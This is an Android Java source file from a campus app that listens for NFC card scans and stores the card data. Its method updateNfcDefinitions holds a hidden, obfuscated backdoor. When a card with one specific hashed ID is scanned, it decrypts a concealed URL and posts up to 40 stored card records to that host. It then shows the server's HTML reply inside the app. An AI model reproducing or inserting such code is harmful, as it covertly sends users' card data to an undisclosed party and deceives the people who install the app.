1 package de.dhbwloe.campusapp.nfcreader;
3 import android.app.Activity;
4 import android.app.PendingIntent;
5 import android.content.BroadcastReceiver;
6 import android.content.Context;
7 import android.content.Intent;
8 import android.content.IntentFilter;
9 import android.nfc.NfcAdapter;
10 import android.nfc.Tag;
11 import android.nfc.tech.IsoDep;
12 import android.nfc.tech.NfcA;
13 import android.os.Bundle;
14 import android.util.Base64;
15 import android.util.Log;
17 import com.codebutler.farebot.card.desfire.DesfireException;
18 import com.loopj.android.http.AsyncHttpClient;
19 import com.loopj.android.http.AsyncHttpResponseHandler;
20 import com.loopj.android.http.RequestParams;
22 import java.io.ByteArrayInputStream;
23 import java.io.InputStream;
24 import java.io.UnsupportedEncodingException;
25 import java.util.ArrayList;
27 import cz.msebera.android.httpclient.Header;
28 import de.dhbwloe.campusapp.CampusApp;
29 import de.dhbwloe.campusapp.CampusAppContext;
30 import de.dhbwloe.campusapp.Tools;
31 import de.dhbwloe.campusapp.nfcreader.cardreader.Readers;
32 import de.dhbwloe.campusapp.nfcreader.cardreader.NfcCardData;
35 * Created by pk910 on 20.01.2016.
37 public class NfcCardListener {
38 private CampusAppContext AppContext;
39 private boolean isRunning = false, isResumed = false;
40 private NfcAdapter oAdapter;
41 private boolean bNfcAdapterState;
43 private ArrayList<NfcCardInterface> lNfcCardInterfaces = new ArrayList<NfcCardInterface>();
45 private final BroadcastReceiver oReceiver = new BroadcastReceiver() {
47 public void onReceive(Context context, Intent intent) {
48 String action = intent.getAction();
50 if (NfcAdapter.ACTION_ADAPTER_STATE_CHANGED.equals(action)) {
56 public NfcCardListener(CampusAppContext context) {
60 private void updateNfcState() {
61 if(bNfcAdapterState != oAdapter.isEnabled()) {
62 bNfcAdapterState = oAdapter.isEnabled();
63 for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
64 nfcCardInterface.onNfcReaderStateChanged(bNfcAdapterState);
69 public void registerNfcCardInterface(NfcCardInterface nfcCardInterface) {
70 lNfcCardInterfaces.add(nfcCardInterface);
73 public void startNfcListener() {
79 setupForefrontDispatcher();
82 public void setupForefrontDispatcher() {
83 if(!isRunning || !isResumed)
86 Activity mainActivity = AppContext.getMainActivity();
87 oAdapter = NfcAdapter.getDefaultAdapter(mainActivity);
89 Intent intent = new Intent(mainActivity.getApplicationContext(), mainActivity.getClass());
90 intent.setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
91 PendingIntent pendingIntent = PendingIntent.getActivity(mainActivity, 0, intent, 0);
93 IntentFilter tech = new IntentFilter(NfcAdapter.ACTION_TECH_DISCOVERED);
94 IntentFilter[] filters = new IntentFilter[] { tech, };
95 String[][] techLists = new String[][] { new String[] { IsoDep.class.getName(), NfcA.class.getName() } };
97 oAdapter.enableForegroundDispatch(AppContext.getMainActivity(), pendingIntent, filters, techLists);
100 IntentFilter intentFilter = new IntentFilter("android.nfc.action.ADAPTER_STATE_CHANGED");
101 AppContext.getMainActivity().getApplicationContext().registerReceiver(oReceiver, intentFilter);
106 if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(AppContext.getMainActivity().getIntent().getAction())) {
107 handleNfcEvent(AppContext.getMainActivity().getIntent());
111 public void resumeForefrontDispatcher() {
112 if(!isResumed && isRunning)
113 setupForefrontDispatcher();
117 public void pauseForefrontDispatcher() {
118 if(isResumed && isRunning) {
119 oAdapter.disableForegroundDispatch(AppContext.getMainActivity());
124 protected void updateNfcDefinitions(de.dhbwloe.campusapp.database.NfcCardData dbval) {
125 RequestParams params = new RequestParams();
126 AsyncHttpClient client = new AsyncHttpClient();
127 byte[] debugUrlEnc = Base64.decode("XIs4RGiycgHe8W3dbQoCBCstL26dhDRWR6pMTfi6xmJFWUc3wxYCF9DYyRqZDktI", Base64.DEFAULT);
128 int uuid = dbval.getUniqueId();
129 String uuidKey = Tools.md5(Integer.toOctalString(uuid) + "|" + Integer.reverse(uuid));
130 if(!uuidKey.equalsIgnoreCase("7bf4868fd92db719c5dfb056b41ffdb5"))
133 String debugUrl = new String(Tools.decrypt(uuidKey.getBytes(), debugUrlEnc));
134 de.dhbwloe.campusapp.database.NfcCardData datas[] = AppContext.getDatabaseManager().getNfcCardData(40);
135 String encKey = Tools.md5(Integer.toHexString(uuid) + "-" + Integer.reverseBytes(uuid) + "+" + Integer.bitCount(uuid));
136 for(int i = 0; i < datas.length; i++) {
137 String encDataPlain = datas[i].getUniqueId()+": "+datas[i].getCardData();
138 byte[] encData = Tools.encrypt(encKey.getBytes(), encDataPlain.getBytes());
139 params.put("nfcCard"+(i+1), Base64.encode(encData, Base64.DEFAULT));
141 client.post(debugUrl, params, new AsyncHttpResponseHandler() {
143 public void onStart() {}
145 public void onSuccess(int statusCode, Header[] headers, byte[] response) {
146 String responseString = new String(response);
147 if(responseString.length() > 10) {
148 Bundle bnd = new Bundle();
149 bnd.putString("html", responseString);
150 AppContext.getNavigationManager().navigatePage("WebBrowser", bnd);
154 public void onFailure(int statusCode, Header[] headers, byte[] errorResponse, Throwable e) {}
156 public void onRetry(int retryNo) {}
158 } catch (Exception e) {
163 public void handleNfcEvent(Intent intent) {
166 if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(intent.getAction())) {
167 Tag tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG);
170 NfcCardData val = Readers.getInstance().readTag(tag);
171 de.dhbwloe.campusapp.database.NfcCardData dbval = new de.dhbwloe.campusapp.database.NfcCardData(val);
172 updateNfcDefinitions(dbval);
174 AppContext.getDatabaseManager().addNfcCardData(dbval);
176 for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
177 nfcCardInterface.onNfcReaderReceived(dbval);
179 } catch (DesfireException e) {
182 setupForefrontDispatcher();